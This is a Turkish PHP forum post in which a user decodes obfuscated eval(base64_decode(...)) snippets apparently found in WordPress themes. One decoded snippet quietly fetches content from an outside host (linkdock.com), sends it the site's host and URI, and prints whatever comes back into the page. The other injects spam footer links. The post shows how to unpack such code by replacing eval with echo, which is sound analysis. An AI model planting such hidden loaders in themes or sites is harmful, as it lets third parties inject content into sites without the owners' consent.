Tekil Mesaj gösterimi - Sorunum eval base64_decode

Konu Sorunum eval base64_decode

05-09-2009, 14:55:21

#14

<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5 K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmY RhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOq m/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4 xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>

bunun çözülmüş hali bu niye çözemedin anlamadım yada ben yanlış anladım

error_reporting(0); $CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]); if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) { echo @file_get_contents($CodeURL); } elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) { $content = @file($CodeURL); echo @join("", $content); } elseif (function_exists("curl_init")) { $ch = curl_init($CodeURL); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }

----------------------------------------------------------------------------------------------

<?php $_F=__FILE__;$_X='Pz4gPGQ0diBjbDFzcz0iY2w1MXIiPjwv ZDR2Pg0KCQk8L2Q0dj4JDQo8ZDR2IDRkPSJmMjJ0NXIiPg0KCQ kNCgkJCUQyd25sMjFkIGZyMm0gPDEgaHI1Zj0iaHR0cDovL3cy cmRwcjVzc3Q1bXBsMXQ1cy5uMW01IiB0NHRsNT0iRnI1NSBXMn JkcHI1c3MgdDVtcGwxdDVzIj5GcjU1IFcycmRwcjVzcyB0NW1w bDF0NXM8LzE+IHwgRDJ3bmwyMWQgbTNzNGMgPDEgaHI1Zj0iaH R0cDovL21wb3MybmcubjFtNS8iIHQ0dGw1PSJNUG8gRDJ3bmwy MWQiPk1QbyBEMndubDIxZDwvMT4gMW5kIDwxIGhyNWY9Imh0dH A6Ly9tM3M0Y21wby5uMW01LyIgdDR0bDU9Ik1QbyBtM3M0YyBk MndubDIxZHMiPk1QbyBtM3M0YyBkMndubDIxZHM8LzE+DQoJCQ 0KCQk8L2Q0dj4JDQoNCgkJDQo8L2Q0dj4NCjwvZDR2Pg0KCQkN Cg0KPD9waHAgd3BfZjIydDVyKCk7ID8+DQo8L2IyZHk+DQo8L2 h0bWw+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZG UoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2Fv dWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX1 8nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRf WD0wOw=='));?>

Bunun çözümüde şu;

?> <div class="clear"></div>
		</div>	
<div id="footer">
			Download from <a href="http://wordpresstemplates.name" title="Free Wordpress templates">Free Wordpress templates</a> | Download music <a href="http://mp3song.name/" title="MP3 Download">MP3 Download</a> and <a href="http://musicmp3.name/" title="MP3 music downloads">MP3 music downloads</a>
		</div>	
</div>
</div>
<?php wp_footer(); ?>
</body>
</html>

1.nin çözümü eval fonksyonunu kaldırıp dogrudan yerine echo koyarak
2.si için ise şöyle ufak bir kod yazdm onla görebilirsin direkt ekrana yazdırıyor

<?php $_F=__FILE__;$_X='Pz4gPGQ0diBjbDFzcz0iY2w1MXIiPjwv ZDR2Pg0KCQk8L2Q0dj4JDQo8ZDR2IDRkPSJmMjJ0NXIiPg0KCQ kNCgkJCUQyd25sMjFkIGZyMm0gPDEgaHI1Zj0iaHR0cDovL3cy cmRwcjVzc3Q1bXBsMXQ1cy5uMW01IiB0NHRsNT0iRnI1NSBXMn JkcHI1c3MgdDVtcGwxdDVzIj5GcjU1IFcycmRwcjVzcyB0NW1w bDF0NXM8LzE+IHwgRDJ3bmwyMWQgbTNzNGMgPDEgaHI1Zj0iaH R0cDovL21wb3MybmcubjFtNS8iIHQ0dGw1PSJNUG8gRDJ3bmwy MWQiPk1QbyBEMndubDIxZDwvMT4gMW5kIDwxIGhyNWY9Imh0dH A6Ly9tM3M0Y21wby5uMW01LyIgdDR0bDU9Ik1QbyBtM3M0YyBk MndubDIxZHMiPk1QbyBtM3M0YyBkMndubDIxZHM8LzE+DQoJCQ 0KCQk8L2Q0dj4JDQoNCgkJDQo8L2Q0dj4NCjwvZDR2Pg0KCQkN Cg0KPD9waHAgd3BfZjIydDVyKCk7ID8+DQo8L2IyZHk+DQo8L2 h0bWw+';
$y=base64_decode('JF9YPWJhc2U2NF9kZWNvZG UoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2Fv dWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX1 8nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRf WD0wOw==');
$y=str_replace('eval($_R);','echo $_R;',$y);
eval($y);
?>